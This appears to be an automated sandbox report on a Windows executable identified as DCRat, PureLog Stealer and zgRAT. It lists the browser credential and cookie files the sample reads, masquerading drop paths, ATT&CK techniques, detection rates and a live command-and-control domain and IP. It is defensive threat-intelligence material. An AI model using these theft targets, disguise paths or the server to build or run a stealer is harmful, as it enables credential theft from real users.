Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1710313618.0000000013768000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Z90Z9bYzPa.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z90Z9bYzPa.exe PID: 7560, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: Z90Z9bYzPa.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Z90Z9bYzPa.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1668200859.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\dllhost.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: Z90Z9bYzPa.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Z90Z9bYzPa.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\dllhost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	141 Windows Management Instrumentation	1 Scripting	12 Process Injection	113 Masquerading	1 OS Credential Dumping	341 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	251 Virtualization/Sandbox Evasion	Security Account Manager	251 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	134 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Z90Z9bYzPa.exe	55%	Virustotal		Browse
Z90Z9bYzPa.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
Z90Z9bYzPa.exe	100%	Avira	HEUR/AGEN.1323342
Z90Z9bYzPa.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat	100%	Avira	BAT/Delbat.C
C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	100%	Avira	HEUR/AGEN.1323342
C:\Recovery\dllhost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\FXwdgBOn.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\YLzRFcIi.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\pSQwZPnx.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\OBFTQueV.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	100%	Joe Sandbox ML
C:\Recovery\dllhost.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\FuMllXyT.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\pSQwZPnx.log	100%	Joe Sandbox ML
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\OBFTQueV.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\nLVYNftZ.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\ProgramData\Microsoft\UEV\Scripts\UdtvoblhRrdVjJaLCN.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Recovery\UdtvoblhRrdVjJaLCN.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Recovery\dllhost.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\FXwdgBOn.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\FuMllXyT.log	8%	ReversingLabs
C:\Users\user\Desktop\OBFTQueV.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\WBdQFKdi.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\YLzRFcIi.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\nLVYNftZ.log	8%	ReversingLabs
C:\Users\user\Desktop\pSQwZPnx.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\vrCFbZuL.log	25%	ReversingLabs
C:\Users\user\Desktop\wpdNwZJG.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\xzxenIoj.log	25%	ReversingLabs

Source	Detection	Scanner	Label
http://306577cm.nyP	0%	Avira URL Cloud	safe
http://306577cm.nyashka.top/LowServerflowerwordpress.php	0%	Avira URL Cloud	safe
http://306577cm.nyashka.top/	0%	Avira URL Cloud	safe
http://306577cm.nyashka.top	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
306577cm.nyashka.top	185.158.202.52	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://306577cm.nyashka.top/LowServerflowerwordpress.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://306577cm.nyashka.top/	Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	ntoVm3Cd7p.5.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high
http://www.fontbureau.com/designers/?	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high
http://www.fontbureau.com/designers?	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://306577cm.nyP	Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high
http://www.tiro.com	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high
http://www.fontbureau.com/designers	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, lX3NFYMCjn.5.dr, pazVjwGFd8.5.dr, meUkigLmvR.5.dr, ZHb4ZEcf2R.5.dr, L7Yokrxid8.5.dr, GZNs4DHvRu.5.dr, eMdmSbVGx1.5.dr, FBw5Whye98.5.dr, SwtZSwQN7O.5.dr, b7lJvm6MRQ.5.dr, a6LlBfvTrD.5.dr, t82SaeXRZ4.5.dr, 0lsa7EXrg7.5.dr, MJgjF9hiwl.5.dr, cqWJHiYmMs.5.dr, 1Ei28hvCTx.5.dr, 6qHH5Zi9iu.5.dr, BqNvonZa7A.5.dr, N6xBQpjNA0.5.dr, F4hBnf0ypI.5.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, lX3NFYMCjn.5.dr, pazVjwGFd8.5.dr, meUkigLmvR.5.dr, ZHb4ZEcf2R.5.dr, L7Yokrxid8.5.dr, GZNs4DHvRu.5.dr, eMdmSbVGx1.5.dr, FBw5Whye98.5.dr, SwtZSwQN7O.5.dr, b7lJvm6MRQ.5.dr, a6LlBfvTrD.5.dr, t82SaeXRZ4.5.dr, 0lsa7EXrg7.5.dr, MJgjF9hiwl.5.dr, cqWJHiYmMs.5.dr, 1Ei28hvCTx.5.dr, 6qHH5Zi9iu.5.dr, BqNvonZa7A.5.dr, N6xBQpjNA0.5.dr, F4hBnf0ypI.5.dr	false		high
http://www.goodfont.co.kr	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high
http://306577cm.nyashka.top	Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003480000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ntoVm3Cd7p.5.dr	false		high
https://support.mozilla.org/products/firefox	Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17p	Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	lX3NFYMCjn.5.dr, pazVjwGFd8.5.dr, meUkigLmvR.5.dr, ZHb4ZEcf2R.5.dr, L7Yokrxid8.5.dr, GZNs4DHvRu.5.dr, eMdmSbVGx1.5.dr, FBw5Whye98.5.dr, SwtZSwQN7O.5.dr, b7lJvm6MRQ.5.dr, a6LlBfvTrD.5.dr, t82SaeXRZ4.5.dr, 0lsa7EXrg7.5.dr, MJgjF9hiwl.5.dr, cqWJHiYmMs.5.dr, 1Ei28hvCTx.5.dr, 6qHH5Zi9iu.5.dr, BqNvonZa7A.5.dr, N6xBQpjNA0.5.dr, F4hBnf0ypI.5.dr, 17foo90yeL.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high
http://www.jiyu-kobo.co.jp/	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	ntoVm3Cd7p.5.dr	false		high
http://www.urwpp.deDPlease	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	lX3NFYMCjn.5.dr, pazVjwGFd8.5.dr, meUkigLmvR.5.dr, ZHb4ZEcf2R.5.dr, L7Yokrxid8.5.dr, GZNs4DHvRu.5.dr, eMdmSbVGx1.5.dr, FBw5Whye98.5.dr, SwtZSwQN7O.5.dr, b7lJvm6MRQ.5.dr, a6LlBfvTrD.5.dr, t82SaeXRZ4.5.dr, 0lsa7EXrg7.5.dr, MJgjF9hiwl.5.dr, cqWJHiYmMs.5.dr, 1Ei28hvCTx.5.dr, 6qHH5Zi9iu.5.dr, BqNvonZa7A.5.dr, N6xBQpjNA0.5.dr, F4hBnf0ypI.5.dr, 17foo90yeL.5.dr	false		high
http://www.zhongyicts.com.cn	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Z90Z9bYzPa.exe, 00000000.00000002.1708405515.00000000039EA000.00000004.00000800.00020000.00000000.sdmp, Z90Z9bYzPa.exe, 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	Z90Z9bYzPa.exe, 00000005.00000002.2941746523.000000001F102000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Z90Z9bYzPa.exe, 00000005.00000002.2932823789.0000000013044000.00000004.00000800.00020000.00000000.sdmp, KeYN0C1Mqp.5.dr, V0427u9jP2.5.dr, DziR07uM3e.5.dr, VEdzBWYzwW.5.dr, 849GSD8HDL.5.dr, IyhptQhR3j.5.dr, izppb992Ss.5.dr, plZ0M75V94.5.dr, jed8XH0R1a.5.dr, 4IHP5GK4pb.5.dr, ZujGOJcXWG.5.dr, Kjm5HUXTS6.5.dr, gMUkeMo03n.5.dr, WZIC4mgvMo.5.dr, ZiPJVmK13D.5.dr, GxZSrkscsm.5.dr, dw4MhwKlHC.5.dr, 56dwjQkkMz.5.dr, YzLGmOZJKK.5.dr, 5jm5RCk5dw.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.158.202.52	306577cm.nyashka.top	Netherlands		20847	PREVIDER-ASNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585252
Start date and time:	2025-01-07 11:56:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Z90Z9bYzPa.exe renamed because original name is a hash value
Original Sample Name:	f022320106ebe6ef239cb75c93f6b3ad.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/335@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 23.56.254.164, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Z90Z9bYzPa.exe, PID 7560 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
